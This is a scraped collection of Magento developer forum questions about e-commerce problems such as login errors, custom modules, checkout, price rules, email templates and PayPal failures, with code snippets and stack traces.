Here i mean to say that during quote-state, the grand total should contain the custom fee. And from the quote- to order-state, the grand total must contain that custom fee.


texts: Magento 1.9 Error 503 on user login, but only on some random accounts

texts:
Some of the users of my shop experience a 503 'Service unavailable' error when trying to log in or reset their passwords.

if a user gets the 503, the same account keeps getting the error, until I reset the password from admin panel
accounts getting the error are not special in any way (default customer group only, common mail addresses, more-or-less secure passwords, some accounts are confirmed already, others are not, various browsers are used.
the 503 page represented is NOT the magento one, it is more of a page provided by the hosting company
error appears on both apache and litespeed server, with various caching on and off
digging into code I found that the loginPostAction gets through to Mage_Core_Model_Session_Abstract_Varien->regenerateSessionId() method, which fails at

    session_regenerate_id(true);

Accounts with working login get a new session Id at logging in, but the 'broken' ones don't. I can reproduce the issue on the very same browser with different login data.

When running strace on index.php while running a 503-causing login, i get the following output:

stat("/home/myhome/public_html/index.php", {st_mode=S_IFREG|0664, st_size=3146, ...}) = 0
stat("/etc/sysconfig/64bit_strstr_via_64bit_strstr_sse2_unaligned", 0x7ffeb2f2ff70) = -1 ENOENT (No such file or directory)
fcntl(3, F_SETLKW, {l_type=F_WRLCK, l_whence=SEEK_SET, l_start=0, l_len=1}) = 0
fcntl(3, F_SETLK, {l_type=F_UNLCK, l_whence=SEEK_SET, l_start=0, l_len=1}) = 0
munmap(0x7ffb31a64000, 3178)            = 0
close(4)                                = 0
munmap(0x7ffb31a65000, 4096)            = 0
getcwd("/home/myhome", 4096)          = 15
access("/home/myhome/includes/config.php", F_OK) = -1 ENOENT (No such file or directory)
access("/home/myhome/app/Mage.php", F_OK) = -1 ENOENT (No such file or directory)
stat("downloader", 0x7ffeb2f30c60)      = -1 ENOENT (No such file or directory)
write(1, "/home/myhome/app/Mage.php was "..., 41/home/myhome/app/Mage.php was not found) = 41

Right now I am stuck with debugging this. Any ideas on how to proceed? Thank you!


texts: How to create a custom admin notification

texts:
I want to create a custom admin notification message for a module im developing like the one on the image below. I want the notification to remain visible in all admin pages until a certain condition has been met.

There is another thread on this subject but i couldn't find how to get the model class that implements \Magento\Framework\Notification\MessageInterface to be executed. The thread author mentioned that a dependency to Magento_AdminNotification is needed.

Is that achieved on the di.xml file? A more detailed explanation would be very helpful.


texts:
I just setup paypal checkout system but after paypal payment window,
it redirects me to store page to place an order to store the order in backend orders panel,
but when I press the button to place an order system gives me the following error

No such entity with %fieldName = %fieldValue

Any suggestion?


texts: upload custom product image programatically

texts:
Question : Once Registered user upload custom image [custom image is Image which is uploaded by User ] in product view page & click on button "Save design" , we are creating Product Programatically  . We want to upload that custom image to newly created product programatically.

Now we are using below code to upload existing image [ already saved image in server ] programatically.

protected function _createProduct($type, $doSave=true, $originalProduct)
    {

        $product = Mage::getModel('catalog/product');

        // finally set custom data
        $product->setName($originalProduct->getName());

        // add product images

        $images = array(
            'thumbnail'   => 'image.png',
            'small_image' => 'image.png',
            'image'       => 'image.png',
        );

        $dir = Mage::getBaseDir('media') . DS . 'example/amasty/';

        foreach ($images as $imageType => $imageFileName) {
            $path = $dir . $imageFileName;
            if (file_exists($path)) {
                try {
                    $product->addImageToMediaGallery($path, $imageType, false);
                } catch (Exception $e) {
                    echo $e->getMessage();
                }
            } else {
                echo "Can not find image by path: `{$path}`<br/>";
            }
        }

        if ($doSave)
            $product->save();
        // To save inside my_designs

        $data = array('title'=>fav1_id,'product_id'=>$product->getId(),'customer_id'=> $customerId, 'value'=>image);
        $model = Mage::getModel('example/mydesign')->setData($data);
      try
         {
        $fav1_id = $model->save()->getId();
        echo "Custom Design saved successfully";
          } catch (Exception $e)
          {
            echo $e->getMessage();
          }
        // To save inside my_designs end

        return $product;
    }

Sidenote : Once Registered user upload custom image in product view page  & click on Add to cart, we are saving Custom image  in Server in path : media/custom_options/quote and displaying image path in Table : sales_flat_quote_item_options


texts:
I have created a new rule in cart price rule .So i want to know about

$item->getDiscountCalculationPrice()  and $item->getCalculationPrice() in magento2?


texts: How is product data passed from a Block to knockout template?

texts:
I'm investigating loading some product images via knockout templates.

While looking for an example from the core I saw the minicart has this behaviour but right now i don't fully understand how the data is passed to the knockout templates?

Config from

  module-checkout/Block/Cart/Sidebar.php

is bound to window.checkout in the minicart template and the initSidebar() function in this block is called when the minicart dropdown is triggered, this window.checkout object includes config for the various Checkout related URL's and the class to render images:

  Magento_Catalog/product/image_with_borders

but curiously does not include any products the customer my have in their cart.

The scope for the minicart is minicart_content, this is defined in a number of XML files found in module-checkout/view/frontend/layout:

checkout_cart_sidebar_item_price_renderers.xml
checkout_cart_sidebar_item_renderers.xml
checkout_cart_sidebar_total_renderers.xml
default.xml

I cannot see anywhere in these layout files where a product model or cart specific data is passed to this minicart_content scope. So I don't understand how the knockout image template receives its data object which contains alt, height, src & width values for the product. Or for that matter how the minicart receives data for the products the customer has in their cart?

What's the missing link, how is product data passed from a Block to a knockout template?


texts: Catalog price rule with custom attribute not working

texts:
I'm running 1.9.2.0

I have a product attribute which is a simple yes/no value.  All products either have this set to yes or no.

I'm trying to use this attribute in conjunction with a Catalog Price Rule.

The attribute itself is set to "use for promo rule conditions".

The Catalog Price Rule is a simple percentage discount, if the attribute is set to "yes".  There are no date restrictions and I have checked the customer groups and all the other rule settings

I have saved it and applied it, with the expected "applied successfully" message from Magento.

I have cleared the cache and the index.

When I go to the front end, nothing has changed.

The discount rule works fine when using any other attribute but it simply does nothing when using my custom attribute.

Screenshots...
www.whitehorsebooks.co.uk/one.png
www.whitehorsebooks.co.uk/two.png
www.whitehorsebooks.co.uk/three.png

Thanks.


texts: Magento 2 - Search only by the product name in Mini Search in header

texts:
Search only by the product name

The search engine is also almost completely unusable. You search for something like "wright wrench set" and it returns 4712 items. Instead of narrowing results, it's including all words in all parts of the description.


texts: New use account confirmation email change?

texts:
if the new user register in magento(1.9), the account confirmation email will be sent to the registered e-mail.

in that i like to remove the password  text. can you please any one give idea for that


texts: How do you link images set as backgrounds in your CSS file?

texts:
The situation:
My custom CSS files are located inside the web/css directory and the page is accessing these files just fine. I can see my styles in effect as they are being loaded.

The problem:
The only problem I am experiencing is that there are several div blocks that I have set a background image for and these images aren't showing up. I am almost certain this is due to the location structure.

How do I properly reference the images located in my web/images folder to my css file (located in web/css)?


texts: Where can I find a Magento mod/addon/plugin that can do a Flyer/Online Brochure

texts:
I'm looking to create an online flyer or (page visual) catalog, or brochure that can be put onto one of my CMS pages in Magento, I'd like the ability for the viewer to click next/back for different pages.

Exactly how grocery stores do their online flyers....

If anyone knows a Magento addon that can do this, please let me know!


texts: Custom Product Bundle Options are not saving on version 2.3

texts:
I have created a custom product like bundle product, which has all bundle product attributes. Problem is that its bundle options are not saving in ver 2.3.x, while on all other versions it working fine, the product page is keep loading and loading when I try to save bundle options, without bundle options the product is saving fine.

I have tried to increase the execution time, memory, etc of server, but the problem still exists.

Anyone can help me out of this, thanks in advance.


texts: How insert CMS static block Top Menu Magento 2.x?

texts:
I create CMS static block  Identifier :header_menu_top

app/design/frontend/Vendor/themeXXX/Magento_Theme/layout/default.xml

  <referenceBlock name="header.panel">
  <block class="Magento\Cms\Block\Block" name="header_menu_top">
     <arguments>
         <argument name="block_id" xsi:type="string">header_menu_top</argument>
     </arguments>
  </block>
  </referenceBlock>

But Can not display to top header , Actuality i want to show below

  app/design/frontend/Vendor/MyTheme/Vendor_MyTheme/templates/html/header.phtml


texts: Advantages & Disadvantages of keeping var/session folder

texts:
As i am facing these issue : Browser Cookies are killing our LIVE site

i need some information about var/session folder. when i googled it, session folder contains customer login details and their items added to the cart.
each file will be having one customer details.

when we delete session folder, items added to the cart will remove.

1)suppose if we don't delete session folder, how long these cart items will be present in customer account?

2)For how many days once, we have to delete session folder ?

3)Whats is the advantage and disadvantage of keeping sesion folder long time?


texts: Shopping Cart Price Rule not applying to Reorder

texts:
I have Checked that Shopping Cart Price Rule not applying to reorder in Magento 1.
Is their any way we can apply Shopping Cart Price Rule to reorder from admin ?


texts: After moving to PHP 7 - ERR (3): Notice: Array to string conversion

texts:
After switching to PHP 7 I'm getting "ERR (3): Notice: Array to string conversion" thousands of times in my system log. I've got most everything else working fairly smoothly but for some reason I'm having some difficulties wrapping my head around what the method that's erroring is actually trying to do. I know the script aims to sort css & javascript and the method is sorting the scripts.

If I understand the goal I can probably rewrite it. The issue is, the method seems counter intuitive to me:

public function getCssJsHtml()
    {
        foreach ($this->_data['items'] as $itemKey => $itemValue) {
            $sortedItems[$itemKey] = $itemValue['sort'];
        }
        array_multisort($sortedItems, SORT_NUMERIC, $this->_data['items']);
        array_multisort($this->_data['items'], SORT_STRING, $sortedItems);

        return parent::getCssJsHtml();
    }

The actual line that is throwing the error is:

array_multisort($this->_data['items'], SORT_STRING, $sortedItems);

it looks like the first line is sorting the $sortedItems array by it's numeric value (sort order):

array_multisort($sortedItems, SORT_NUMERIC, $this->_data['items']);

But then the next line appears to reverse the effects by putting it back into the original _data['items'] array now sorted by string? Therefor rendering the line above it useless and throwing the error that brought it to my attention in the first place?

Error is thrown because it's treating an array like a string?


texts: How to create landing page for amazon home?

texts:
My site is in magento 2.
We add M2E Pro for sell product on amazon & eBay.
We want when go on amazon the one landing page show first.
Then go for product.
Any one help me how to create one page which is our landing page for amazon home.


texts: How to show ui dynmaic row saved values in edit form magento2

texts: I am facing an issue with dynamic rows in ui form...created a form with dynamic rows and saved successfully but in edit form the saved values of dynamic rows not displaying...how can i solve this issue?


texts:
I need to migrate magento 1.14 EE to 1.9 CE.
Can anyone tell me the steps to perform

thanks.


texts: Prevent to remove cart items for disable product

texts:
I have placed an order successfully from the storefront.
Now I have disabled those order item from admin.
then those order quote item is empty.

Question: I want to prevent to remove cart items for the disabled product.
Please advise.


texts:
Poking around the codebase and some questions here it looks like Magento 2 -- much to the chagrin of certain segments of the web development community -- will still support SOAP API endpoint.  (However, it looks like this SOAP API is completely new code -- probably implemented with the same service contracts as the RESTful API)

Are there credentials for this new API?  If so, where can a user create these credentials in the admin UI?

Or do the credentials for this API also tie into oAuth somehow?  If so, how do the Magento 2 oAuth credentials tie into making SOAP API requests.


texts: Recoverable Error: Object of class Credis_Client could not be converted to string

texts:
I'll add items to the cart and then they will disappear. I don't have too much more information at this point.

line 374 is the last line here:

if ($lock != 1) {
                    $this->_log(sprintf(
                        "Successfully broke lock for ID %s after %.5f seconds (%d attempts). Lock: %d\nLast request of broken lock: %s",
                        $sessionId, (microtime(true) - $timeStart), $tries, $lock, $this->_redis->hGet($sessionId, 'req')
                    ), Zend_Log::INFO);

No other errors in the system.log

Exception.log has two errors that may affect the Credis_Client

tail -f exception.log
#4 /home/magento/master/html/app/code/community/Aoe/Scheduler/Model/Schedule.php(196): call_user_func_array(Array, Array)
#5 /home/magento/master/html/app/code/community/Aoe/Scheduler/Model/Schedule.php(582): Aoe_Scheduler_Model_Schedule->runNow(true)
#6 /home/magento/master/html/app/code/community/Aoe/Scheduler/Model/Observer.php(39): Aoe_Scheduler_Model_Schedule->process()
#7 /home/magento/master/html/app/code/core/Mage/Core/Model/App.php(1358): Aoe_Scheduler_Model_Observer->dispatch(Object(Varien_Event_Observer))
#8 /home/magento/master/html/app/code/core/Mage/Core/Model/App.php(1337): Mage_Core_Model_App->_callObserverMethod(Object(Aoe_Scheduler_Model_Observer), 'dispatch', Object(Varien_Event_Observer))
#9 /home/magento/master/html/app/Mage.php(448): Mage_Core_Model_App->dispatchEvent('default', Array)
#10 /home/magento/master/html/shell/scheduler.php(377): Mage::dispatchEvent('default', Array)
#11 /home/magento/master/html/shell/scheduler.php(37): Aoe_Scheduler_Shell_Scheduler->cronAction()
#12 /home/magento/master/html/shell/scheduler.php(403): Aoe_Scheduler_Shell_Scheduler->run()
#13 {main}

Swarming had built a module and this could be the issue cause it's 404'ing

exception 'Mage_Core_Exception' with message 'API Request Failed: 404 returned.' in /home/magento/master/html/app/Mage.php:595
Stack trace:
#0 /home/magento/master/html/app/code/local/Swarming/Erp/Model/Abstract/Connector.php(152): Mage::throwException('API Request Fai...')
#1 /home/magento/master/html/app/code/local/Swarming/Erp/Model/Abstract/Connector.php(180): Swarming_Erp_Model_Abstract_Connector->post(true)
#2 /home/magento/master/html/app/code/local/Swarming/Erp/Model/Observer.php(277): Swarming_Erp_Model_Abstract_Connector->postData(Array)
#3 [internal function]: Swarming_Erp_Model_Observer->syncSubmissionQueue(Object(Aoe_Scheduler_Model_Schedule))
#4 /home/magento/master/html/app/code/community/Aoe/Scheduler/Model/Schedule.php(196): call_user_func_array(Array, Array)
#5 /home/magento/master/html/app/code/community/Aoe/Scheduler/Model/Schedule.php(582): Aoe_Scheduler_Model_Schedule->runNow(true)
#6 /home/magento/master/html/app/code/community/Aoe/Scheduler/Model/Observer.php(39): Aoe_Scheduler_Model_Schedule->process()
#7 /home/magento/master/html/app/code/core/Mage/Core/Model/App.php(1358): Aoe_Scheduler_Model_Observer->dispatch(Object(Varien_Event_Observer))
#8 /home/magento/master/html/app/code/core/Mage/Core/Model/App.php(1337): Mage_Core_Model_App->_callObserverMethod(Object(Aoe_Scheduler_Model_Observer), 'dispatch', Object(Varien_Event_Observer))
#9 /home/magento/master/html/app/Mage.php(448): Mage_Core_Model_App->dispatchEvent('default', Array)
#10 /home/magento/master/html/shell/scheduler.php(377): Mage::dispatchEvent('default', Array)
#11 /home/magento/master/html/shell/scheduler.php(37): Aoe_Scheduler_Shell_Scheduler->cronAction()
#12 /home/magento/master/html/shell/scheduler.php(403): Aoe_Scheduler_Shell_Scheduler->run()
#13 {main}

Magento ver. 1.14.2.2


texts: How do I get Http_referer path without "http://localhost/index.php/"?

texts:
I want to get the preview page url using:

Mage::helper('core/http')->getHttpReferer();

and it get's me something like:

http://localhost/index.php/customer/account/

How do I get just : customer/account/?


texts:
Has the combine js been moved from:

  Stores > Config > Advanced > Developer

All i currently get under Advanced is :

Admin
System

Tried switching different store views etc.


texts: Cannot update product name using productRepository in Admin Store ( Store 0 )

texts:
I'm trying to update a product using productRepository ( migrating from a flow using product factory with load ).

Problem is tha when updating the name it is updating in store 1 ( default store ) but not in store 0 ( admin store view )

Bellow there is a sample code

    $objectManager = \Magento\Framework\App\ObjectManager::getInstance();
    $productRepository = $objectManager->get('\Magento\Catalog\Api\ProductRepositoryInterface');
    $product = $productRepository->getById('product id here', true, 0);

    $product->setName('ts');
    $productRepository->save($product);

Newly created products have only one name in admin view , using the code above a new entry is added in catalog_product_entity_varchar table for store view 1 leaving store view 0 unchanged.

The only way to update the title seems using $product->save(). Is there any other way without using $product->save() ?

Is seems very strange to me, i'm running this code from a console command and i've already set the state to adminhtml

I'm running Magento 2.3.4


texts: Magento 2: How to reset filters in product grid?

texts:
I have changed per page setting to 500 in Catalog Product Grid page. It could not load that much of product and gave me error. Now it is somehow saved in somewhere, and every time I visit the Product Grid page, it cannot load products and gives error.

How can I reset the filter settings in Product Grid page?


texts: Magento2.2.6: When I try to edit configurable product than getting this error, facing this issue with only one product

texts:
I am using Magento2.2.6 and in admin side go to manage product and edit configurable product getting this error below

Notice: Undefined offset: 0 in /XXX/data/home/256705.XXXXX.com/XXXXX/public_html/vendor/magento/module-configurable-product/Model/Product/Type/VariationMatrix.php on line 43

If any one facing this issue and have you get any solutions reply me.

Thanks In advance.


texts: Magento 2 :Get country code from Country Name

texts:
I have the country name with me. How can I get corresponding country code from it.
For ex: If the country name is Unites States, I want to get country code from it ie, US

If there any way for it?

I found many useful links for getting country name from country code. I want it in the reverse manner.

   public function __construct(
            \Magento\Directory\Model\CountryFactory $countryFactory
        ) {
            $this->_countryFactory = $countryFactory;
        }

    public function getCountryname($countryCode){
        $country = $this->_countryFactory->create()->loadByCode($countryCode)
        echo $country->getName();
    }


texts: Unit Test for Repository Functions in Magento 2

texts:
I have a class utilizing the Magento 2 AttributeRepository. Can I write a unit test for my class which gets the attribute based on the attribute code?

namespace Company\Catalog\Test\Unit\Model;

use Company\Catalog\Helper\LandingPage;
use Company\Catalog\Model\Brand;
use Magento\Eav\Model\AttributeRepository;
use Magento\Store\Model\StoreManagerInterface;

class BrandTest extends \PHPUnit_Framework_TestCase
{
    /** @var  Brand */
    private $brand;

    /** @var  AttributeRepository */
    private $attributeRepository;

    /** @var  StoreManagerInterface */
    private $storeManager;

    /** @var  LandingPage */
    private $landingPageHelper;

    protected function setUp()
    {
        $this->landingPageHelper = $this->getMockBuilder(LandingPage::class)
            ->disableOriginalConstructor()
            ->getMock();
        $this->attributeRepository  = $this->getMockBuilder(AttributeRepository::class)
            ->disableOriginalConstructor()
            ->getMock();
        $this->storeManager = $this->getMockBuilder(StoreManagerInterface::class)
            ->disableOriginalConstructor()
            ->getMock();

        $this->landingPageHelper
            ->method('getBrandAttributeCode')
            ->willReturn('brands');

        $this->brand = new Brand($this->storeManager, $this->attributeRepository, $this->landingPageHelper);
    }

    public function testGetBrandAttributeCode()
    {
        $expected = 'brands';
        $this->assertEquals($expected, $this->brand->getBrandAttributeCode());
    }

    public function testGetBrandAttribute()
    {
        $expected = 'brands';
        $attribute = $this->brand->getBrandAttribute($expected);
        echo $attribute->getAttributeCode();
        $this->expectOutputString($expected);
    }
}

Should I even prepare a mock data for repository or can I get the actual value from the database using the AttributeRepository?


texts: Need help in creating a section for each product as new attribute section

texts:
I am trying to create a new attribute section as Q & A for each "configurable product". This Section will have a table which will have the following columns:

Question ID
Created On
Question
Answer
Product ID -- current product's ID
Status

If you can't understand what I actually meant by section:

In admin -> Catalog -> manage products -> select any configurable product

For this purpose, I am using Online Module Creator. Using this generator, I filled the fields which I could have understand. Here is the PDF file which explains which fields I had added. After creating the module, I downloaded it and merged the files in my project folder.

The problem is that I can't see the created table which is catalog_product_queries in the database and also I can't see the Q & A section anywhere in the admin panel.

One thing I realized, In the Module creator, I haven't mentioned that where I am adding this table to.

You can download the generated module from here.


texts: Make selected custom shipping method shows custom input textarea at onepage checkout

texts:
I successfully added custom shipping method like this:

app/etc/config.xml

<?xml version="1.0"?>
<config xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Store:etc/config.xsd">
    <default>
        <carriers>
            <lime>
                <active>1</active>
                <allowed_methods>delivery</allowed_methods>
                <methods>delivery</methods>
                <type>NAMESPACE</type>
                <sallowspecific>0</sallowspecific>
                <model>Namespace\Module\Model\Carrier</model>
                <name>Namespace_Module custom Shipping</name>
                <title>Namespace_Module custom Shipping</title>
                <handling_type>F</handling_type>
            </lime>
        </carriers>
    </default>
</config>

app/code/Namespace/Module/Model/Carrier.php

public function collectRates(RateRequest $request)
{
    if (!$this->getConfigFlag('active')) {
        return false;
    }
    $result = $this->_rateResultFactory->create();
    $method = $this->_rateMethodFactory->create();
    $method->setCarrier('HILO');
    $method->setCarrierTitle('HILO');
    $method->setMethod('Fast');
    $method->setMethodTitle('Fast');
    $amount = $this->getConfigData('price');
    $method->setPrice($amount);
    $method->setCost($amount);
    $result->append($method);
    return $result;
}

It shows up at checkout page, but I want to show custom text area input data when the user choose my custom shipping method, and I can save the custom input text area data.

here's what I want it to look like:


texts:
I'm facing issue about taxes on quotation. I'm trying add fee taxes on quotation, but all attempt are unsuccessful.

I'm try use this

$address->setTaxAmount($taxAmount);
$address->setTaxRate($taxRate);

To collect total and do a calculation.

$quote->collectTotals()->save();

Maybe I'm wrong.


texts: Display Child Product SKU in Product Page

texts:
I am using Magento 2. I would like to display child product SKU in Main product page while user clicks on configurable Swatches.

I am trying to gather information from below file.

public_html\vendor\magento\module-swatches\view\frontend\templates\product\view\renderer.phtml

like below

I am getting below output in console.

{"90":{"12":{"type":"1","value":"#474747","label":"Black"},"13":{"type":"1","value":"#45bcf8","label":"Blue"},"20":{"type":"1","value":"#da859c","label":"Pink"},"21":{"type":"1","value":"#a15ebb","label":"Purple"},"22":{"type":"1","value":"#cb5d4a","label":"Red"}}}

But I could not find SKU there. I would like to get SKU to display that in Main product Page.


texts: What is the exact methodology of Magento Front-end exam?

texts: I'm bit confused about the number of questions appeared in Magento front-end exam. What is the exact number of questions it gives? What is the passing mark? Are there any optional questions in the exam or all the questions are mandatory?


texts: Magento 2.3 - Show Label after Input in Form Field

texts:
How can I change the order of form field elements so that the label is directly after the input field? (so I can use css sibling selectors)

I've tried this guide, but no luck, cleared cache, deployed, etc.
https://community.magento.com/t5/Magento-2-x-Programming/Remove-Label-and-Edit-PlaceHolder-in-Checkout-Page/td-p/106707

Specifically I am trying to do this for the billing address fields in the checkout.

Which files do I need to override?
This?

  vendor/magento/module-checkout/view/frontend/web/template/billing-address/form.html


texts: How to add column in the front-end group product table?

texts:
I have a problem adding 1 column of data in the front-end product group table. Now I need to add size into the selected group table.
Below is my front-end product table view:

Actually, I want the expected result like the below picture can add size:

The size value is grabbed from backend ： Product -> General -> Size, like below picture:

May I know is possible to add 1 column to the front-end product table? Hope someone can guide me on how to solve this problem. Thanks.


texts:
I am trying to create after plugin for delete function of Magento\Tax\Model\TaxRuleRepository
function looks like follows

public function delete(TaxRuleInterface $rule)
    {
        $ruleId = $rule->getId();
        $this->resource->delete($rule);
        $this->taxRuleRegistry->removeTaxRule($ruleId);
        return true;
    }

My afterDelete function look like:

public function afterDelete(
        \Magento\Tax\Model\TaxRuleRepository $subject,
        \Magento\Tax\Api\Data\TaxRuleInterface $rule
    ) { //my code }

Why it is throwing error Argument 1 passed to class_name::afterDelete() must implement interface Magento\Tax\Api\Data\TaxRuleInterface, instance of Magento\Tax\Model\TaxRuleRepository\Interceptor given

I have created the similar after plugin for save function and it is working fine as expected.
Only difference between save and delete function that I can see is return type.
Save returns object whereas delete returns boolean.


texts: Magento 2.2 - How to remove product Meta Keywords maxlength validation from backend?

texts:
I want to remove validation for product meta_keyword from backend or else to increase the length of the product meta_keyword.

I also tried to remove maxlength validation from vendor/magento/module-ui/view/base/web/templates/form/element/input.html file.

I check in the database for meta_keyword and DB allow to add more value for it but Magento 2 prevent it to add only 255 length in product meta_keyword.

Does anyone have any idea about this?


texts: Flat tables enabled only for one store view

texts:
We have 2 store view: one "fr" and one "en".

We keep getting an undefined method on "addAttributeToSelect" but only for one store view.

I've used "var_dump" to display the result of this:

$_productCollection = Mage::getResourceModel('catalog/product_collection')
                            ->setStoreId(Mage::app()->getStore()->getId())
                            ->addAttributeToSelect('*')
                            ->addAttributeToFilter('status', 1) // enabled
                            ->addAttributeToFilter('visibility', 4)
                            ->addCategoryFilter($_categoryTemp);

    var_dump($_productCollection); exit;

In french we get :

protected '_flatEnabled' =>
array (size=1)
  2 => boolean false

In english we get :

  protected '_flatEnabled' =>
array (size=1)
  1 => boolean true

I know that flat tables are enable for the whole website. Not per store view.

Any suggestion ?

Thanks,


texts: Newsletter subscription error in Magento 1.9x

texts:
There is an error coming in my site when I am subscribing with email from Newsletter subscription form.

I have checked in admin panel also, the email is not present in Newsletter subscription list.

It is giving an error -


texts: How to change email templates for multiple stores?

texts:
I need help. I have one admin area with several shops. I need customize email templates for each store.
Is there any quick way to do it?

If I add css classes in email templates, then magento removes them.

I can do it making several copies of the same template with inline css styles, but it is very long and the number of letters is huge.

How to do it without making copies of email templates?

Thanks.


texts: in magento 2 how to use existing customer attribute collection in my grid

texts:
In magento 2 i am creating manage customer attribute grid. How can i use existing customer attribute collection in my module.
what will be my di.xml file?


texts: Can we display discontinued products in website?

texts:
Can we display discontinued sku?
I have a some SKU’s in my website, but after some time it's discontinued, but people still search for it. I've seen this feature in many websites showing discontinued products after all the other products with an icon like the Sale tag on top of the picture.
Can we to do this?


texts:
I am trying to customize the Fooman Email PDF module, so the PDF will only be added if the order contains at least one virtual product.
I have been working in Observer.php where I added a single line of code to the original file, but after adding it the order emails are not being sent. I therefore need help revise the code or how else it can be achieved.

The original code

The customized code

What am I doing wrong?


texts: How and where to change add to cart message in Magento 2?

texts:
I am using Magento 2.3.0

Above message displays when we try to add product more than available quantity from the product detail page. I want to change this error message and want to add a new custom message instead of default one. I tried finding this message but I couldn't find anywhere. So, where can I change this message and which file I have to override?

I want to display the message "The requested QTY for "" exceeds inventory. only x qty available for this product".

NOTE: X is the available qty for the product.


texts: Change backup folder from /var/backup to different/external-shared folder in Magento 2

texts: I need to change my backup directory to some other directory which is different from Magento installation root directory. How can i do this?


texts: How to detect changed fields only in admin section?

texts:
I need to insert some values to custom database table based on the values of changed custom field, if the specific custom field value (in a custom shipping method) had changed.I need to check this in my Observer.php event that I'm firing is admin_system_config_changed_section_carriers

is there any possible way to do this ?


texts: I am unable to edit search engine robots from admin

texts:
I am trying to edit search engine robots from content and theme configuration but no option to edit.
Version Magento 2.2.5 Any luck ?


texts:
I have a module in magento, and the script setup module. Now I want to re-run this script and this module.
I deleted the setup of this module in core_resource, and access magento. But the module is not reinstalled. The database of this module isn't deleted, although I have DROP TABLE IF EXIST in scripts. And in the core_resource, the setup of this module not exists, it is really deleted. So I think the setup not run. But this module still work normally with old sql and no setup field in core_resource.


texts: Return error message from observer Magento

texts:
I made a custom module for observer on customer save before event for admin-side

My config file in local/Pavans/Profile/etc

<adminhtml>
        <events>
            <customer_save_before>
                <observers>
                    <pavans_profile>
                        <type>singleton</type>
                        <class>Pavans_Profile_Model_Observer</class>
                        <method>customerSaveAfter</method>
                    </pavans_profile>
                </observers>
            </customer_save_before>

        </events>

    </adminhtml>

It calls my observer before customer data saved

class Pavans_Profile_Model_Observer {
    public function customerSaveAfter(Varien_Event_Observer $observer)
    {
        $controller = $observer->getControllerAction();
        $controller->setFlag('', Mage_Core_Controller_Varien_Action::FLAG_NO_DISPATCH, true);
        $response = array('error' => false, 'message' => $helper->__('Error'));
        return $controller->getResponse()->setBody(Mage::helper('core')->jsonEncode($response));

    }
}

I want to pass error message on customer form and stop controller to save customer data, but above code shows me error message

 Call to a member function setFlag() on a non-object

So i'm unable to get object of controller.

I have also tried this

$request = Mage::app()->getRequest();
$action = $request->getActionName();
Mage::app()->getFrontController()->getAction()->setFlag($action, Mage_Core_Controller_Varien_Action::FLAG_NO_DISPATCH, true);
$response = Mage::app()->getResponse();

$json = Mage::helper('core')->jsonEncode(array('error' => -1, 'message' => $this->__('test errror')));
$response->setBody($json);

This shows me Error message on form

  An error occurred while saving the customer

Above message is not my custom error message


texts:
I have added product finder in the header.

When I search product using product finder then it goes to the finder page

URL  http://localhost/staging/amfinder/?find=ask-projector-lamp-c100-any-370901

After that, when I go to the category page then no products are displaying in that category while more than 100 products available in that category.

So how to reset the product finder dropdown when going to any other URL?


texts:
we are developing kids related toys, cloths magento site

So planning to buy some very good templates.  which templates

development company will give good support for customization.

please help us to find some good templates.


texts: How to "Feature" Products in Luma Theme - Magento 2

texts:
Is there a way to easily feature and have certain products appear on the home page of the out-of-the-box luma theme in magento 2?

Or is that totally a custom built thing?


texts: Question about shipper carrier codes for orders

texts:
I am writing integration code to connect Magento to our ERP system. I need to pass the shipping carrier code to our ERP order creation but the code in the order does not match our internal carrier code.

I want to change the Magento carrier codes to align with our ERP codes to avoid having to do a lookup to convert the codes back and forth. I can't figure out where these codes are stored on the Magneto side, and I can't find any documentation explaining how to manage these codes.

Example: (From Magento order)

"shipping_description": "UPS - UPS Next Day Air®",
...

 "shipping": {
   "address": {
     "address_type": "shipping",
     "city": "nowheresville",
     "company": "foo",
     "country_id": "US",
     "customer_address_id": 84,
     "email": "RandomGuy@fu-co.com",
     "entity_id": 305,
     "firstname": "Random",
     "lastname": "Dude",
     "parent_id": 187,
     "postcode": "17602",
     "region": "Pennsylvania",
     "region_code": "PA",
     "region_id": 51,
     "street": [
        "1313 mockingbird lane"
      ],
      "telephone": "555-1212"
      },
      **"method": "ups_01",**

Here the method is set to ups_01

My hope was that I could change the string "ups_01" to match our existing codes.

Can anyone provide some guidance on how/if this can be configured?


texts: Magento 2 Model Classses are not injecting without Factory in custom module

texts:
I am developing an module in Magento 2.I have created helper,Model

  Fatal error:vendorname\modulename\Model\Testclass class is not
  exist.I have tried each and everything to resolve this issue but not
  able to work it.

My code is:(This is not working.

 public function __construct(
        vendorname\modulename\Model\Testclass $testclassinject
        )

After I have do hit and try and inject this class with Factory keyword.
(This is working.)

public function __construct(
    vendorname\modulename\Model\TestclassFactory $testclassinject
    )

Now this is working for me.

So my question is that is this required that each Model class will require to Factory class to inject another class?

Please help me this is creating confusing for me.


texts: Magento 2 Specific Order Status Condition based email send with bcc

texts: I created custom order status "Order Accepted". The order is received after accept the order. I need only this order accepted condition send to BCC email admin and customer. This is not possible using magento admin panel sales ->sales email functionality. that All condition, status sends to email. Please share me any tips. This is mine order status code "accepted".I need only send this status condition. How can I possible with custom code with result.


texts: How to install git patch of Authorize.net Direct Post Signature Key?

texts:
I am using Magento2.3 and download the Authorize.net Direct Post Signature Key Patch file and put it to magento's  root directory then go to the putty and run below command:

patch --p0<patch_file_name.patch

It is not working for me.


texts:
We have created custom extension for the showing 'print receipt' button into order confirmation page for the guest user.
In the custom extension, we have use default Magento core layout for the pdf content for the guest user but the the guest user order pdf below section are not coming.
https://prnt.sc/v0kihx
Any one have idea? Please suggest.


texts: Change payment capture dropdown order in Magento

texts:
I would like to change the order of the Capture Payment dropdown, it is located on the create invoice page in admin html when you chose a payment that allows capturing.

The order of the list is:

Capture Online
Capture Offline
Don't Capture

I would like the Don't capture option to be on top.
Does anybody have an idea what file I should rewrite?


texts: PayPal Express Module Rejecting API Call

texts:
There is this error when finalizing an order:

  PayPal gateway has rejected request. Method Specified is not Supported (#81002: Unspecified Method).

The exception.log says:

2014-12-09T16:04:38+00:00 ERR (3):
exception 'Mage_Core_Exception' with message 'PayPal NVP gateway errors: Array Correlation ID: . Version: .' in /is/htdocs/wp11057204_2LXPKUVAZP/www/xx/magentodev.xxx.de/app/code/core/Mage/Paypal/Model/Api/Nvp.php:1062
Stack trace:
